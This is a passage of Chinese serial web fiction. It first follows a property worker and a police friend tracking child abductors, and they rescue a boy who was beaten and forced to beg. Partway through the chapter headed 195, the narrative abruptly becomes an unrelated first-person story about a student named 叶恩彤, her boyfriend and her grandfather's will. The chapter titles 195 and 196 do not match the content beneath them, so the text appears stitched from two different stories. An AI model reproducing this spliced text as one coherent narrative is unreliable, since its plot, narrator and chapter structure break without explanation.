“我的想法是这样。我总感觉王敬之是冒充了什么人，去接近了明叔，这段时间不方便跟你联系。”林翔回。 我不禁感叹：我的师哥呀！你的胆子可是真大啊！只身深入虎穴，根本就不清楚对方的情况，发生任何危险都是有可能的呀！ “老林，我们下一步做什么？”我问。 “我联系了当地的管片，我们去看看丢孩子时候的监控，你平时对这些监控也都了解，我们一起看，找蛛丝马迹，我就不信了，抢孩子这么大的事情，能没有线索留下！” 我看着林翔自信的样子，点头答应。 我俩正琢磨怎么开始的时候，我的手机又响了，“喂，刘哥，这么晚了，有事吗？” “向荣，你是不是把金老师家孩子带走了？”刘国锋着急的在电话里问我。 “没有啊，昨晚上就给他送到金老师手里了，怎么了？”我很懵，什么情况。 “你快来龙江苑吧，金老师的儿子丢了，正在物业闹呢，非说是你给带走了！”刘国锋着急的喊。 “什么？简直荒谬！我马上过去。” 我心急如焚，难道说那帮人贩子又看中了小宁？ 林翔听见了电话里传出的声音，说“快走，事不宜迟，说不定就是那帮人干的。” 我们俩风风火火的赶到物业办公室的时候，金老师正坐在里面拉着刘国锋不让下班。 “业主，我真不知道，吕向荣不是我下属，人家是我领导，你拦着我也没用呀！” 这个刘国锋，人家孩子找不到了，不赶紧帮着报警寻找，竟然在这里躲事儿！ 我没好气的说：“金老师，你找我？” 金老师看到我进了门，立刻站起身，气呼呼的问我：“你把我儿子弄哪去了？” “你儿子？小宁？昨晚上交给你以后，我就再没见过他。”我回。 “不可能，他今天放学早，坐校车回来的，给我打电话告诉我要去物业找你，我千叮万嘱不让他去，可是我今天下午好几节课，等我结束了回来找他，发现他根本不在家。”金辉态度特别不好的讲述着。 “你不用着急，龙江苑的监控那么多，你查了吗？他到底去了哪，看看就知道了。”我说。 “刘哥，你把监控调出来吧。”我跟刘国锋说。 刘国锋还有点犹豫，林翔看看刘国锋的样子，补充了一句，“给他们看吧，我就是警察，你如果需要什么授权，我可以给你出。” 刘国锋诧异的看看林翔，又看看我，金老师却等不及了，喊道：“怎么？作为业主，我想看看监控，找失踪的孩子，不可以吗？” “行的、行的，我这就安排。”刘国锋赶紧回。 我心想，这刘国锋到底怎么想的？为了打压我，连最起码的工作都不想配合了？ 第一百九十一章 小梅复印社 我们几个人把整个一天的监控全都看了一遍，小宁根本就没来过物业。 这下金辉知道着急了，带着焦急的腔调问林翔：“警察同志，我要报案。” 林翔毕竟是异地，没有管辖权，他帮着金辉报了警，110赶到的时候，金辉已经说不出一句完整的话。 “你不要急，冷静冷静，孩子有没有妈妈？”110出警的警察问。 “有，有的，他有妈妈。”金辉心不在焉的回答。 “给他妈妈打电话了吗？是不是去找他妈妈了？”警察问。 我一听，这个可能性倒是不大，因为昨天小宁说的那些话，我记忆犹新。 但是这事也不太好说，小宁毕竟才9岁，小孩性格，也许今天就反性了，想妈妈了，也有可能。 金辉极不情愿的掏出手机，我知道他为什么不愿意给刘楚嫣打电话，绿帽子事件之后，他应该都没再联系过刘楚嫣。 但是现在事情紧急，由不得他硬刚了，拨出刘楚嫣的电话后，我们都等着那边的接通。 “喂，你怎么打来了？”刘楚嫣虚弱的声音。 一听这句，我心凉了半截，小宁肯定没去找妈妈。 “小宁去找你了吗？”金辉着急的问。 “小宁？他昨天没有跟物业的回家吗？你没看到孩子？”刘楚嫣也惊了。 “昨晚上回来了的，今天没回来。”金辉不耐烦了，要挂断电话。 “什么？你、你把儿子弄丢了！啊！小宁啊！小宁！”刘楚嫣在电话那头大哭起来。 金辉直接按掉电话，我心里很不安，这刘楚嫣不知道能不能承受得住。 “警察同志，你们快点帮我找我儿子吧，再晚一点，我怕他出什么意外。”金辉说。 出警的警察说：“现在失踪还没到24小时......”，警察还没说完，林翔就拉过他，在他耳边耳语了几句。 “什么？抢孩子的案件？好的，我们去跟交警队沟通调取一下附近的监控，找一下孩子到底去了什么方向。”警察一边说一边出去打电话。 金辉彻底蔫了，那股子谁都欠他的劲头彻底没有了，是啊，就这么一个儿子，如果真的丢了，连续遭受暴击，估计他也很难承受。 我们几个焦急的等消息，林翔跟着几个警察去查监控。 “向荣，这个人是你朋友？”刘国锋问我。 我点点头，“对，他也是出差过来办案的。” 刘国锋惊奇的看着我，那意思我明白，质疑我怎么还会有警察朋友，而且关系还这么好。 “刘哥，这附近丢孩子的事情，有没有什么线索或者传言呀？为什么丢了第一起之后，还会接二连三的，没引起重视呢？”我问。 “说起这个事情确实是有遗憾，第一起丢孩子的时候，也是等到48小时，家长都着急的不行不行的了，但是什么线索都没查到，根本不知道孩子在哪没的。第二起那个高中生，附近居民一度以为她是扛不住高中的学习压力，离家出走了呢，等反应过来，人都已经丢了好多天了。”刘国锋说着自己的看法。 我也心急如焚，小宁那个孩子，昨晚上还拉着我的手跟我说话，我们还一起吃面，多可爱的一个孩子啊！ 到底是谁这么可恶呢！干偷人家孩子的事情，不怕遭天谴吗！ 刘国锋劝金老师回家等，有了消息第一时间通知他，但是金老师不走，执拗的一定要在物业等。 我看着他软乎下来的样子，有些同情。 “金老师，昨晚上小宁回去以后发生什么了吗？他为什么今天要来找我呢？”我问。 “昨晚上没发生什么呀，他回来，我给他洗了澡，还跟他一起睡的......小宁，儿子，你到底去哪了？”可能是我的问话挑起了他昨晚上的回忆，他痛苦的抱住头，开始自言自语。 “他要来找我做什么，他有和你说吗？”我不想放弃询问，只有多了解一些讯息，才有找到小宁的可能。 “他在电话里说的断断续续的，说要找你聊天，对了，他说要给你什么钱。”金辉说。 “是面条钱吧？我和他说了我不要呀，金老师你平时经常给孩子揣很多钱吗？”我问。 “我、家里没出事以前，我给他揣钱的，小宁很乖的，从来不乱花钱。出事以后，他一直跟着他妈妈，他妈不给他钱。昨天的钱是昨晚他跟我要的。”金老师回。 金老师没有提供有价值的讯息，只能等林翔的监控结果了。 晚上八点多了，林翔的电话打过来，“向荣，你问问金辉，知不知道一个小梅复印社？小宁在那个复印社门口往里面看了半天，然后就离开了，就再也没在监控中出现过。看那个视频，孩子离开的时候，好像在哭，嘴里说着什么。” 金辉自然是听到了林翔的通话内容，整个人都惊呆了。 小梅复印社？我立刻就知道了是哪里，那个女老板跟金辉的关系不一般。 “金老师，你下午去复印社了？小宁一定是去找你，但是在门外看到了里面的什么事，然后才哭着离开的。”我说。 金老师一拳重重的砸在自己腿上，大声喊着说：“儿子，是爸爸不好！爸爸对不起你！对不起啊，儿子！” 我跟电话那头的林翔说了情况，林翔说让我等他，他已经在回来的路上。 我大概能猜到小宁看到了什么事，结合昨晚的女鞋，金老师一定是在外面有女人了。 怪不得总也顾不上家里，也导致了刘楚嫣在空虚中被钟良勾引、出轨。 “金老师，现在去懊悔于事无补了，最紧要的是赶紧找孩子。”我提醒他。 这时候金老师的电话响起来，我很着急，很希望是小宁打过来的，希望是有好心人看到了他，给他送了回来。 但是不是，是刘楚嫣，刘楚嫣在电话里告诉金老师，她已经回家了，看不到小宁，她问金辉到底把小宁弄哪去了。 女人的哭喊时不时的从电话那头传过来，在这黑夜里让人心里难受的不行。 金老师一念之差，外遇出轨，结果短短的两个月时间，家破人亡。 第一百九十二章 蹲守 我跟刘国锋陪着金老师，没多会儿刘楚嫣也哭哭啼啼的进了门。 看到我以后就急切的问我：“小宁怎么会丢呢？出什么事了？你不是已经把他送回家了吗？” 我不知道该说什么好，孩子丢了，没有人比当妈的人更难受了。 “姐，这......你先冷静一下，我们正在努力的寻找，现在警察已经介入了，应该很快就有消息。”我只能安慰。 刘楚嫣还是没忍住，“哇呀”一声蹲到地上哭起来，她这么一哭，一直用手抱着头的金老师抬起头来，厉言厉语的喊：“哭什么哭！你还嫌自己不够丢人吗？要不是你不守妇道，孩子会丢吗？” 我和刘国锋都愣住了，不知道该不该劝，我心里充满了对金辉的不满，始作俑者明明是他自己，现在却将包袱都扔到女人的身上。 刘楚嫣听到“丢人”这两个字，浑身激灵一下，然后由放声痛哭改成了嘤嘤哭泣，那压抑的感觉，让我不忍再看下去。 这时候林翔回来了，气喘吁吁的问我：“向荣，你问了吗？小梅复印社是怎么回事？” 我斜斜眼睛示意林翔出去说，他跟我来到外面，我把经过告诉了他。 “原来如此，那孩子一定是看到了他爸爸跟别人亲密的场面才走开的。”林翔说。 “老林，还有什么线索？”我抱着希望问。 “没有，很奇怪，一点线索都没有。”林翔很失落。 我也很着急，现在不光是王敬之丢了，还丢了这么多孩子，我还亲眼目睹了一次丢孩子，既然知道了我就不能不管。 “老林，我想去现场看看，说不定监控看不到的，现场会留下什么。”我说。 林翔想了想，然后跟我说：“走，我跟你一起去。” 我们俩步行来到小梅复印社，复印社已经关门，从龙江苑到这的这条路，很幽静，确实很幽静，就是那种，不容易有什么人的感觉。 小梅复印社在主路边，龙江苑跟小梅复印社间隔了一条街的距离，如果走近路，就有这么一条幽静的小路，走大路要3、5分钟，走这条近路也就1分钟左右。 “老林，你看这个巷子周围，是没有摄像头的。如果你什么线索都没看到，那小宁很有可能就是走的这条近路。”我说。 “的确，大路的摄像头里没发现孩子的踪迹，很有可能就是没从那里走。”林翔回。 我仔仔细细的又重新走了一遍小路，还是没有任何发现。 “向荣，回去吧，不会有发现的。”林翔劝我。 我沮丧的回到物业办公室，金辉和刘楚嫣竟然还没走，刘国锋早已经等不及要走，可是却劝不走这两个人。 “金老师，你们回去等消息吧，有了线索警察会联系你们的。”我示意刘国锋先回去，这里交给我。 刘国锋朝我点点头，用口型跟我表示着感谢，急匆匆的出了门。 刘楚嫣起身也要往外走，金辉叫住了她，“回你娘家去！不要回来丢人！” 这个男人可真的是过分，都这个时候了，还要把情绪发泄到别人身上。 刘楚嫣根本没停留，路过我身边时问了我一句，“小同志，你是说小宁失踪前去了小梅复印社，对吗？” 我愣住，这个问题不知道该不该回答，而且我一眼就看到了有些焦虑的金辉。 我点头，刘楚嫣像得到了什么肯定、尘埃落定了一样，头也不回的走了。 我预感她是知道有小梅的存在的。 “物业同志，今天错怪你了，我的态度有点急，请你原谅我的冒失。”金辉走过来跟我道歉。 突如其来的致歉让我很意外，还没见过这个人服软的一面呢。 “没关系，我理解你是因为孩子不见了着急。先回去吧，警察已经立案，会有消息的。”我回。 金辉点点头，无奈的出了物业。 我和林翔也往住的酒店走，这时候我的手机振动了两下，我知道是短信息，没着急看。 等到了酒店门前，林翔的手机响了。 “喂，林翔，你让我监测的手机刚才开机了，位置我查到了，我发到你手机上，你看一下。”对面的警察说。 “手机开机了？”林翔又惊又急的看看我，大声的说。 我立刻就明白了，是王敬之的手机开机了，赶紧拿出自己的手机查看信息，还是两条空信息，发信人就是王敬之。 “向荣，你看这个位置。”林翔凑过来，让我看他的手机。 “这位置，距离我们这里不远啊！看来人确实是在这个城市。”我说。 我和林翔到了房间里，把发来的位置图片放大看了好几遍，发现距离龙江苑这里也不是很远。 “老林，有方案了吗？”我问。 “没有具体的方案，但是他们能几次三番在这附近作案，说明对这附近的地形很熟悉，如果手机也是在这附近的话，说明他们在这附近生活，只能出去找了，蹲坑。”林翔说。 蹲坑？我想了想，确实没有更好的办法，只能寄希望于警察那 边的调查能早点出结果。 第二天早上，我和林翔吃过早饭早早的就到了手机定位的位置。 我们两个推测过，相隔几条街就是小梅复印社，方圆三公里之内都是可疑区域。 林翔应该是经常做这样的工作，气定神闲、不慌不忙，而且一看就是做好了持久战的准备。 他还和我做好了分工，他负责东边，我负责西边，每天要溜达个五遍以上。 这工作未必一定见效，而且范围大、时间久，我不由得迷茫起来，但是确实别无他法。 第一天什么可疑都没看到，一无所获，疲惫收场。 第二天、第三天也都如此。 第四天早上，我接到刘楚嫣的电话，“物业同志，你们经理给了我你的电话，他说你去帮忙找小宁了，我想问一下，有什么消息了吗？” 我心想，这刘国锋，可真的是抓到顶雷的了，这么快就都扔给了我，就不能安抚安抚，或者告诉他们去联系警察吗？ “没有什么消息，刘女士，你再问问警察吧。我们找毕竟能力有限，问问警察那边有没有什么进展吧。”我建议。 “小宁他、到今天已经丢了四五天了，我都不知道他还好不好？有没有饿肚子？有没有挨打？呜呜呜......”接下来就是刘楚嫣戚怨的哭泣。 我不得不打断她，这样专注在电话上是影响我观察的，“刘女士，我这边还有事要忙，先不和你说了，记得我的话，有事要先去找警察，知道了吗？” 第一百九十三章 抓到大斌 刘楚嫣含含混混的应声，我这边结束了通话。 下午跟林翔碰头汇报的时候，我们俩照旧互相一摊手，我一看这不行啊，这样等于是守株待兔，结局未必如意，况且现在还有孩子，孩子随时都有危险。 “老林，我得走个捷径了，这样等下去，兔子等不到，还容易把孩子搞丢了。” 林翔秒懂，犹豫的说：“保靠吗？” 我朝他眨眨眼，“你也不是第一天跟我打交道了，保不保靠的试试呗，不行也不损失啥。” 林翔点头，于是当晚我就试了一下方位。 “这个位置我们每天都经过的呀，是吧，老林？”我叫过旁边的林翔来看。 “你是说这个小公园？”林翔问。 “对，就是这个位置。不过，奇怪的呀，为什么每次路过，那里都没有多少人的？”我忽然发现疑点。 林翔也怀疑起来，犹疑的说：“也许是因为废弃了，就没有多少人过去了呢？” “明天我们就去这个位置转。”我拍板。 这个地方说是个公园，倒不如说是一个小型的游乐场，站在街边能看到场地上零落的有几个运动器械。 最里面有一处房屋，能看到上面有门锁，看着也像废弃了没人住的样子。 “这里？为什么是这里呢？这不像是可以藏住人的啊？”林翔说。 我想了想回：“别忘了东郊别墅，有地下室，人都在地下室。” 林翔听完我的提醒，明显有了兴趣，我们两个一步步往里面的房子走去。 到了附近把四周都转完了，什么可疑也没发现，尤其是这是一个民房，不像会有地下室的样子。 林翔明显放弃了，“走吧，大致情况都在这了，看不出可疑，我们还是去老位置转转吧。” 我也找不到线索，只好不太情愿的跟着林翔离开。 转到小梅复印社附近的小市场的时候，停了一辆面包车，我一惊。 “老林，就是这辆车！”我赶忙拉过老林，指给他看。 “你是说你上次遇见抢孩子的人坐的车？”林翔问。 “对，就是这辆车，不会有错，车牌子也是这个，不会有错。”我边回复边着急的往前走。 林翔在后面紧紧的跟着，我们都怕一有闪失，它就开走了。 车没有熄火，贴膜太黑，看不清里面是不是有人。 “老林，看不清，我们得过去看看。”我询问林翔的意见。 “好，我在前面，防止他们认出你。”林翔说。 马上就接近车身的时候，我看到车门其实是打开的，有个人蹲在车门位置吃东西。 “大斌！没错，就是大斌！”我激动的心狂跳着，终于有线索了！ 就在我们要冲上去抓他的时候，大斌一转头进了车里，然后车就缓缓启动，开了。 我和林翔对视了一眼，“追！” “我去弄辆自行车，留意我的电话！”我喊。 我深知两条腿的赶不上四个轱辘，必须借助这当口赶快弄辆机械化的。 林翔是练家子，我也不是吃素的，很快就搞了辆自行车，还能看到他们的影子，我一溜烟的跟了上去。 车越开越快，我也一直飞快的骑，林翔在我跟上的位置也就地搞了一辆自行车，在后面嗖嗖的赶。 不过这车应该是破败的原因吧，开再快，我也觉得并不快，好像就没开起来过。 车七转八转的到了一个位置，减了速，接着车门打开，大斌从里面下来，面包车又开走了。 林翔也赶到了，他不放心我一个人跟大斌，把车的照片传给了警察，我们两个仔细一看，这个位置，不就是刚才去的公园吗？ 我们两个将自行车靠在一边，悄悄的看着大斌走向远处的房子。 果不出我所料，房子里有问题。 “老林，一会儿我们进不去怎么办？”我问。 “在外面等，等到天黑了找机会进。”林翔说完又给当地的警察打了电话，大概意思是让他们配合行动之类的。 大斌很娴熟的打开锁，拎着两大袋子东西进了里面。 我和林翔只好找了个可以掩护自己的位置开始等候，可是这大斌进去了就没有再出来。 我很担心是不是有其它的密道，他可以逃走，我真的是太担心小宁和其他的孩子了，至于王敬之，他能用手机，说明他尚且安全。 正等着四下打探的时候，我好像看到进门的位置有个雕刻的图案。 奇怪，刚才怎么没发现，这是个什么呢？ 我示意林翔，然后悄悄的走过去查看，林翔不知道我要做什么，还伸手来抓我，抓了空。 到了近前，我看到了，然后激动的不行，对！就是这里，没错了！ 我踱回老林的身边兴奋的告诉他：“老林，门梁上有王敬之给我留的记号，是只有我们俩知道的一个图标。他一定来过这里！” 林翔听完也激动起来，“太好了！天黑就行动。” 天刚擦黑，就来了五六 个便衣，他们跟林翔互相介绍，我听出来他们是当地的警察。 “里面只有一个人吗？”有一个带头的问。 “我过来以后看到只有一个人开了门锁进去了，里面的情况不清楚，应该只有一个人。”林翔回。 “好，行动吧！”带头的指示。 几名便衣开始翻墙，我也跟着他们翻墙，蹬上墙头我发现里面有三处民房，这个上了锁的门实际是院落门。 一个警察跳进去后，给外面的林翔等人开了门，大家鱼贯而入。 “老林，我们就去那间亮灯的房间，你们去另外两个看看。”带头的说。 林翔比了一个好的手势，我想了想，还是选择跟着林翔走，这件事连王敬之都陷进去出不来，对手肯定很强大，我不能让林翔出危险。 我们几乎就是同步进行的，右边的这间屋没有上锁，我跟着林翔悄悄的推门进去。 里面很空，什么都没有，地中间放了一堆绳子，因为没敢开灯，所以很多方位都要借助手电筒的光线。 林翔照了一圈，没发现什么，准备离开去对面的房间。 “老林，墙角好像有东西。”我发现光线晃了一下的角落有个凸起。 “墙角？好，去看看。”我们又折返回来去了墙角。 这时候院子里传来嘈杂的声音，“别动！我们是警察！” “警察怎么了？我犯什么法了？你们这是私闯民宅！”这声音很大，是大斌？ 第一百九十四章 罪犯的克星 外面喊外面的，我们已经看到了地上的凸起是什么，是一个地窖的盖子。 林翔看看我，小声的嘟囔：“还真的有地下，奶奶的！” 他试了一下，很容易就打开了盖子，地下有潮湿的空气袭来，黑乎乎的，只看到边缘的几个楼梯。 “我下去，你们跟外面的人会和，汇报一下这里的情况。”林翔说。 “我跟你一起！”我不能让林翔自己冒险。 这样分配完以后，林翔毫不犹豫的就走下去，很多时候我都佩服林翔的勇气，他身上有老刑警的睿智、冷静和沉稳。 越往下走越觉得凉，这下面还挺深，我感觉下了好几个楼梯。 终于到了地面，地上都是未铺设地砖的泥土，但是很平整。 “老林，这有点像农村的菜窖啊！”我感慨。 “是像，但是这个菜窖也太大了。”林翔回。 “找一找有没有电源开关。”林翔补充。 于是我用手电筒在墙上找起来，确实有一个电闸，“有电闸！”我说。 “打开！” 随着电闸的拉动，地窖里的空间一览无余，角落里躺着一个小不点，那是什么？小宁？ 我赶紧跑过去，“老林，是个小男孩！” 林翔也赶过来，“他的手脚都受伤了，孩子、孩子！”林翔轻轻的推动男孩。 那孩子很惊恐的醒过来，脸上和脖子上都有伤，这是谁干的！我的眼睛要冒火了！ “叔叔，我要回家，我要我妈妈！呜呜呜......”男孩哭起来，那哭声不大，压抑着，但是很忧伤，难道是平时因为哭挨过打？ “孩子，你这手脚的伤是谁干的？”我生气的问。 “我、我，我不敢说。”男孩轻轻的回。 “别怕，这位叔叔是警察，我们是来救你的，这就带你回家！”我告诉男孩。 “他们让我去乞讨，让我装成残疾人，好疼呀！好疼！我怕！我害怕！”男孩拼命喊起来。 “向荣，别问他了，他一定是没少受到惊吓，看看还有什么有价值的痕迹，我们出去跟他们会和。”林翔抱起男孩准备往外走。 地窖里没再发现什么，除了王敬之的图标，王敬之一定在这里待过。 外面的警察已经控制住了大斌，大斌看到我们抱着男孩出来，像泄了气的皮球，不再张牙舞爪。 我看向他的眼神充满了愤怒，娘的！伤害这么小的孩子，这是人干的事儿吗？ 经过审问和确认身份，被解救的男孩正是龙江苑附近丢失的第一个10岁的男孩。 孩子家长得知孩子就在家附近被找到，还被打断了手脚之后，哭天抢地，好在性命无忧，断手断脚可以医治，孩子的伤口只能慢慢愈合了。 林翔跟几名警察连夜审讯小宁的下落，还有王敬之、冯晶晶，以及那个高中女生。 结果这个大斌一看就是老油条了，只承认警察看到的，其它的一概不知，事情又陷入到僵局。 “老林，现在可以从面包车下手查一下了。”我提醒。 “面包车之前就查过了，套牌，黑车。”林翔说。 “我们可以查一下那天的监控啊，看看它去了哪里。”我提议。 “对！向荣，你的思路在线。”林翔拉着我就往交警队跑。 监控显示这辆车也没走多远，还是没有离开龙江苑方圆五公里，我心想这龙江苑常年盘踞着贼啊，这里的物业竟然都没有过警觉。 “这个位置是哪里？向荣你知道吗？”林翔问我。 “我也不是很清楚，我们能拷贝一份吗？有个人一定知道，我们回去问问他。”我想起了李国强，龙江苑的老保安。 回到物业，李国强果然在班，“李哥，这位是警察，他想让我们帮忙给认一个位置，你对这片儿熟，你给看看。”我跟李国强说。 李国强很热情的就答应了，在这位老保安身上，我是一点也没见到刘国锋身上的傲气。 “这里啊，这里是回迁房那片，那里都是老楼，正等着拆迁呢，现在断水断电了，你们去那边干什么？”李国强倒是挺好奇。 “李哥，这是警察的工作，咱们还是不要打听那么多，人家有纪律。”我劝。 李国强秒懂，“哦，好的好的，我明白、明白。” 我和林翔一商量，准备趁热打铁，这帮人一旦发现联系不上大斌，恐怕会跑路的，到时候不知道会不会有更多的孩子遭受伤害。 一想到那个男孩的样子，我的心就揪着，我好担心小宁也受到这样的对待，那个拉着我的手跟我吃面的男孩，深深的牵动着我的心。 回迁区确实很破败，地面上乱七八糟的，很多临街的商铺都关闭了，墙上都写着大大的拆字。 我和林翔深一脚、浅一脚的往里走，“向荣，这么一大片，我们怎么找？”林翔问我。 我想了想说：“找图标，按照图标的指示找。” 林翔现在对我的主意基本上不再怀疑了，他绝对相信我的判断，于是他跟在我后 面，我仔仔细细的在路的两边观察。 一个高压线杆吸引了我，上面粘着很多宣传单，我过去仔细查看起来 老林看到我走过去，也四下打量起来，突然跟我说：“向荣，这是一个三岔路口，去哪一边？” 我很焦急的查找着，我相信王敬之如果来过，一定会给我留下线索，一定会。 这确实是一个三岔路口，路中间有一个电线杆，靠近其中一条路的路边还有一个，我走过去，一眼就看到了熟悉的图标。 “老林，这边！”老林快步跑过来，看了一眼电线杆上的图标，笑了。 “向荣，你们这俩师兄弟可真的是罪犯的克星啊！这回这些人一定都能找到！”林翔很兴奋。 我们顺着这条路往里走去，路上林翔又跟当地那个带头的警察做了电话沟通。 电话说了半天，林翔的表情越来越凝重，我有点诧异的看向他，“怎么了？老林。” 林翔挂断电话，神情严肃的跟我说：“老周说这附近已经有一年多了，属于三不管地段，没水没电，基本上没人居住，但是如果想找到一个人也很难，因为这片区域达到上千户。” 我听完这个数字也眉头一皱，确实等同于大海捞针，但是不能放弃，现在没有其它线索了。 “走吧，我相信我师哥。” 第一百九十五章 拆迁房的罪恶 从活动现场出来，听着震耳欲聋的音乐，我知道，丁一又成功了，他确实是个优秀的人。 可我呢，一无所有，空有一腔热忱，还有家仇未报。 我胡思乱想着，迎面走过来一个人，差不点撞到他身上。 那人扶住我的时候，我才看清，是那老头。 “叶恩彤，我们又见面了。”赵武阳看见是我惊喜的说。 “对不起，我没有看路。”不知道为什么，我总觉得这个人身上有很重的痞气。 “没关系、没关系，能撞到美女也是我的福气呀！你怎么不进去看表演，一个人出来了？” “你也来参加我们学校的活动？”我意思这跟校外的商人有什么关系呢。 忽然想到，对了，一定是王燕，他是王燕爸爸的朋友。 “我肯定得来啊，燕子强烈要求，除了到场以外，还得赞助不是么。”赵武阳眯着眼睛看我。 “对了，那天在校外看到的那个男生是你男朋友吧？这回是他和燕子一起来找我赞助的，小子能力挺强，口才好的不得了。”他夸赞着。 我知道他说的是丁一，看来我走这几天，丁一和王燕的距离又拉近了很多。 “我有点难受，先回宿舍了，你进去吧，活动刚开始。”留下一句话，我头也不回的离开。 “叶恩彤，咱们既然认识了，就是朋友了，你等一下，我给你一张名片。”他喊我。 朋友？我们相差将近20岁的年龄差，算是什么朋友？会有什么共同语言呢？ 没想到他的跑步速度倒是很快，我迟疑的工夫，他已经追上了我，递来一张名片。 我突然就想到，他有钱的，有实力、有机会，是不是可以寻求一下帮助呢？ 但是，他对我是有非分之想的，从眼神中就能看出来。 我要跟一个只有几面之缘、又对自己有非分之想的人寻求帮助吗？ 我在迟疑中接过了名片，赵武阳看我接了名片很高兴，转身走了。 晚上丁一结束了活动，果然到宿舍楼下喊我，我很想念他，暂时抛却了那些小情绪，兴高采烈的下了楼。 见面后，丁一一下子抱住我，把头埋在我的脖颈间，深深的吸了一口气说：“恩彤，我好想你！” “我也想你。”在丁一的爱情面前，我也变得懂得表达，而且不再吝啬情感。 “走吧，我们去吃大餐。”看着眉飞色舞的丁一，我知道他很高兴。 吃饭的时候我把包和手机放在靠近丁一的位置，他帮我翻找纸巾的时候，无意间看到了赵武阳的名片。 我看到丁一看到名片后的样子，不希望我们再因为不相干的人误会吵架，赶紧跟他解释。 我把王东旭的事情，还有为什么接赵武阳名片的动机告诉了丁一。 丁一阴郁的跟我说：“恩彤，我好担心，担心会失去你。” “傻瓜，就因为那个老头吗？怎么会呢！你是不是被害妄想症发作了。”我笑他。 “他有财、有实力，这些我都不具备，而且我不知道我以后是不是会很快具备。”丁一说。 “他有财有实力跟我有什么关系呢？我看重的不是这些。在你心里我是一个拜金的家伙吗？”我反问他。 他依旧默不作声，我只好自己主动吻了上去，我想用自己的主动温存来证明自己对他的忠诚和爱。 他也回应我，这一次的矛盾在甜蜜的激情中化解。 暑假前，学校没有什么课，丁一跟他在外租房的哥们儿借了一个房间，我们每天都去那里腻歪在一起。 那是一段虽然短暂，但是很快乐的时光。 我们会一同去菜市场买菜，回来自己开火做饭，丁一夸赞我的厨艺，偶尔有那么几次，他也会展示一下他的才艺。 白天没有什么事做的时候，我们会一起看各种电影，他喜欢周星驰，我也喜欢。 我喜欢美国大片，他也一样，我们几乎就没有吵过架。 只是，我在的那段时间，丁一经常会克制自己的欲望，好多次都是在彼此把持不住的时候强制性的停下。 后来丁一和我抱怨，“恩彤，如果以后你发现你老公我不行的话，可不要怪我。” 他这话我并不是很明白，但我知道他大概指的是什么，我捂着嘴笑，不说话。 但是距离却让我们的情感更加的火热。 放假以后我们恋恋不舍的告别，他把我送到爷爷家门口，我们约定安顿好之后他来看我。 可是当我开心的去爷爷房间看爷爷的时候，却发现房间里摆设着监护仪，还有专用护士陪在那里。 姑父和亮亮也在，“恩彤，你回来了。”姑父算是冷冷的打了招呼。 “姐，爷爷他、爷爷快不行了！”亮亮带着哭腔。 啊？不会的！爷爷还要等着我孝顺他呢！ “爷爷，我是恩彤啊，我回来了，你怎么样了？”我抓住爷爷的手，哭着问。 爷爷很虚弱的抬抬手，想要摸我的头发，嘴巴已经发不出声音。 我瞬时感到，爷爷即将油尽灯枯了。 爷爷攥着我的手，朝姑父摆摆手，姑父赶忙走过来，把耳朵凑近爷爷的脸边。 我听见爷爷虚弱的说：“找刘律师来。” 姑父的眼里闪过一闪而逝的喜悦，被我一览无余。 刘律师到场以后，当着病床上爷爷的面宣读了遗嘱。 大概内容是爷爷的全部家产都由长孙继承，这个长孙就是我。但是在我25岁以前，这部分遗产由刘律师所在的事务所统一管理，任何人不能挪动。 爷爷的老宅留给了李亮亮，全部处置权只有李亮亮签字才能授意。 遗嘱宣读完以后，姑父的脸色很难看，碍于爷爷在场，他什么都没说。 李亮亮对遗嘱这类字眼还没有很深入的理解，一副很漠然懵懂的样子。 我也惊着了，爷爷这是一分钱都没留给姑姑的子嗣啊，为什么呢？ 我偷偷的想，我岂不是成了姑父的眼中钉？ 紧跟着刘律师又说：“叶雅丽女士生前自己经营了一家医美公司，这家公司的所有权全部归叶雅丽的丈夫李瑾全先生所有，与叶城先生的集团公司脱离，自负盈亏。” 爷爷没有将自己的给姑父，也没有收回姑姑生前他给姑姑的。 全部内容都宣读完之后，爷爷让大家都回去，唯独留下我，他说要和我说说话。 第一百九十六章 再次追击 我全部的注意力都在姑父身上，他那不悦的神色早已被唯爷爷命是从的样子取代。 房间里就剩下我和爷爷之后，我对爷爷怀着强烈的不舍，他是我在这个世界上唯一的亲人了。 “爷爷，你要好起来，恩彤就剩下你了。”眼泪在我眼眶里打转。 爷爷听懂了我的话，两只手抓着我的手，也是老泪纵横。 “爷爷要去见爷爷自己的孩子了，没能看着你成家立业，爷爷对不起你。你一定要好好念书，找一份工作，可以让自己开心的工作。”他一口气说完这些话，就开始不停的咳嗽。 “爷爷，我会的，我会的！”我赶紧回答，让爷爷安心。 “彤啊，你要小心、小心你姑父，他、他不是李瑾全。”爷爷虚弱的说，但是我听得一清二楚。 “什么？爷爷，你说的是真的吗？你是怎么知道的？”我着急的问。 心脏监护器开始报警，我赶忙按了护士急叫按钮。 很快，医生和护士都跑了进来，医生开始实施抢救，我不得不退出了房间。 这时候我看到刘律师坐在楼下，我赶忙跑下楼找他。 “刘律师，您好！我是叶城的孙女，叶恩彤。” “你好，叶恩彤，你有什么事吗？”刘律师一口标准的普通话。 “刘律师，我想问一下，关于我要继承的遗产，我能先挪用50万吗？”我问。 “恩彤，50万不是小数目，你是遇到了什么事情了吗？”刘律师的逻辑思维很清晰。 “刘律师，我就是对这笔遗产的处置规则不太清楚，您先别管我为什么要用这笔钱，您先告诉我一下，具体规则是怎样的、我怎么才能拿到50万。”我采取短平快。 “恩彤，这笔遗产的数目肯定是远远超过50万的，但是，叶老先生去世前把遗嘱做了公证，必须走法律流程才能生效，也就是说，上面写了继承人什么时间可以用、就什么时间可以用。没有特殊渠道可以挪用。另外，据我所知，这部分钱的70%都是一些不动产，并不是现金，是需要变现的。” 我无措了，就是说，在我25岁以前，我就是一枚光蛋。 还有三年，王东旭能等三年吗？休学，一年都是黄金般的，何况三年，那等于废了。 结束了和刘律师的通话，我无比惆怅，怎么办？我还是帮不上王东旭。 爷爷在宣读遗嘱的当晚就离开了我们，再一次送走自己最亲的亲人，我的心刀割一样。 开追悼会那天，丁一、孙小欧还有王东旭都来了，陈赞警官也来了。 小欧一直陪着我，默默的告诉我要坚强。 丁一也陪着我，“恩彤，没想到你家里出了这么大事，如果知道的话，我们就提前回来几天了，你还可以多陪陪你爷爷。哎！” 当晚他们几个人和陈赞都留了下来，他们要跟着我第二天一早去送爷爷最后一程。 姑父跟陈赞照了个碰面，阴不阴阳不阳的和陈赞说：“陈警官，大哥家的案子十多年了一点线索都没有，恩彤都这么大了。老爷子生前逢年过节就念叨，思念成疾。” 